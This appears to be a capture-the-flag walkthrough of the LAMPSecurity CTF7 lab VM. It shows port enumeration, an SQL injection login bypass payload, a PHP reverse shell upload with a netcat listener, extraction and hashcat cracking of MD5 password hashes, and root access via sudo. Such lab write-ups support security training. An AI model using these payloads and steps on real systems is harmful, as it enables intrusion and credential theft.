Dislcaimer: Multiple Entry Points

The LAMPSecurity series is not particularly challenging, for each VM in the series I've targeted the web application as the entry point.

Host Service Enumeration

Port Service Version Detection

TCP: 22


OpenSSH 5.3 (protocol 2.0)

TCP: 80


Apache httpd 2.2.15 ((CentOS))

TCP: 139


Samba smbd 3.X (workgroup: MYGROUP)

TCP: 901


Samba SWAT administration server

TCP: 8080


Apache httpd 2.2.15 ((CentOS))

TCP: 10000


(Webmin httpd)

Web Application Enumeration

Host enumeration discovered two web application, one on port 80 and one on port 8080, as with the previous CTF series VM’s, other entry points are ignored and the web application is used for the entry point.

Web Application on Port 8080

Inspection of the web application revealed it’s vulnerable to an SQLi authentication bypass. By Entering ' or 1=1 -- . in the username field an attacker can successfully login as admin.

SQL Injection Auth Bypass

Admin account:

Admin Account SQLi

PHP Shell Upload

With admin access to the web application it was possible to upload a reverse shell.

Reverse PHP Shell

Execution of the php shell was not possible via the web application directly.


Dirbuster disclosed the location of the file uploads directory /assets/.

OWASP Dirbuster

Reverse Shell

Execute Reverse Shell

Executing the php script resulted in a reverse shell as the user apache:

[root:~]# nc -n -v -l -p 443

Local Enumeration

Local enumeration discovered mysql root account could be accessed locally without a password:

mysql -u root  and no password worked as the apache user.

select username, password from users;

Hashcat md5 cracking

The hashes were placed in a text file using the following format:

NOTE: In order for hashcat to ignore usernames in a hash input file you need to specify --username

[root:~]# hashcat --username -m 0 -a 0 crack-ctf7.txt

Cracked MD5 Hashes


Local Privilege Escalation

The julia account was able to su to root.

bash-4.1$ su - julia
su - julia
Password: madrid

[[email protected] ~]$ sudo -s
sudo -s
[sudo] password for julia: madrid

[[email protected] julia]# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
[[email protected] julia]#

Thanks for the VM :)
